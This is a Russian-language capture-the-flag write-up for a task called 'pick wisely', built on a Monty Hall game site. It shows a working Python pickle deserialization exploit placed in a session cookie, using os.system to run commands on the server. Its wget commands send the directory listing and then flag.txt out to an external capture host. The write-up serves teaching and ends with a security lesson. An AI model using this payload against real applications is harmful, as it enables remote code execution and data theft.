Разбираем десятую задачку из нашего соревнования CTF. Задание называется pick wisely, дают 500 баллов за флаг. Для меня она оказалась непростой.
Есть ссылка на статью:
https://en.wikipedia.org/wiki/Monty_Hall_problem
Она же на русском языке:
https://ru.wikipedia.org/wiki/Парадокс_Монти_Холла
Для решения задачи она нам не пригодится, но для расширения кругозора - очень даже полезно.
Парадокс Монти Холла — одна из известных задач теории вероятностей, решение которой, на первый взгляд, противоречит здравому смыслу. Эта задача не является парадоксом в узком смысле этого слова, так как не содержит в себе противоречия, она называется парадоксом потому, что ее решение может показаться неожиданным. Более того, многим людям бывает сложно принять правильное решение даже после того, как его им рассказали. Почитайте — интересно.
Ссылки
Решение
Переходим на сайт задания.
Вот здесь как раз и демонстрируется на практике парадокс Монти Холла. Есть подсказка, что в эту игру нельзя выиграть, но я попытался. :) Не выиграл.
После непродолжительных поисков уязвимостей я обнаружил интересную печеньку:
Некий state представлен в виде base64 строки. Не слишком ли длинно для обычного state?
Гуглим первый попавшийся base64 декодер:
Декодируем строку:
Получаем нечто такое:
c__main__
State
q)q}q(XscoreqKXdoorsq]q]XZ[ÂÜA`\A\B
@[Y\BRÂB]XthÂö¨V&bâö¨V&UP7FvW]5Ù]
Что у нас здесь?
- __main__
- State
- score
- doors
Ба! Да это кусок кода. Функция Main, класс State, переменные score и doors... Единственное, в непонятном виде этот код. Собственно, засовывать код в куки и надеяться, что никто не попытается этот код заменить своим - очень самонадеянно.
Давайте разберёмся, что это за формат кода такой. Заядлые питонщики уже, наверное, догадались.
Pickle (англ. консервировать, мариновать) — модуль сериализации и десериализации объектов в Питоне для последующей их передачи.
Pickle - очень созвучно с названием задачки. В голову сразу приходит решение - нужно написать свой код, сериализовать его и подсунуть в куки. После чего можно попытаться выполнить этот код на удалённом сервере. Питоним.
#!/usr/bin/python3.5m
import base64
import pickle
import pickletools
import sys
import os
COMMAND = "ls"
class State(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
class Door(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print(base64.b64encode(pickle.dumps(State())))
Последней строкой мы консервируем объект State и выводим в base64. А State у нас призван при инициализации выполнить команду "ls", которая прописана в переменной COMMAND. Это нам, конечно, ничего не даст. Нам нужна такая команда, которая обратится на внешний сервер и там что-то запишет. А мы посмотрим. В качестве внешнего сервера используем сайтик:
Туда можно через GET что-то отправить, а потом посмотреть, что приходило. Итак, пишем вместо "ls" более полезную команду:
COMMAND = "wget https://postb.in/qL71wgFu/?x=$(for f in $(ls); do echo -n ${f}_; done)"
Она пихает результат ls в строку и отправляет через GET на сайт postb.in. Сначала я пробовал через curl, но не сработало, пакет curl на удалённом сервере не был установлен.
Итак, сериализуем класс, засовываем в куки сайта, обновляем страничку. Смотрим, что получилось на bostb.in:
А вот и содержимое директории... и там есть файлик flag.txt. Ну-ка посмотрим внутрь:
#!/usr/bin/python3.5m
import base64
import pickle
import pickletools
import sys
import os
COMMAND = "wget https://postb.in/qL71wgFu/?x=$(cat flag.txt)"
class State(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
class Door(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print(base64.b64encode(pickle.dumps(State())))
Меняем COMMAND на:
COMMAND = "wget https://postb.in/qL71wgFu/?x=$(cat flag.txt)"
Сериализуем, засовываем в куки, обновляем страничку. Что у нас там внутри файла?
А вот и флаг!
Безопасность
- Не пихайте код в куки. Как вам пришла в голову такая мысль?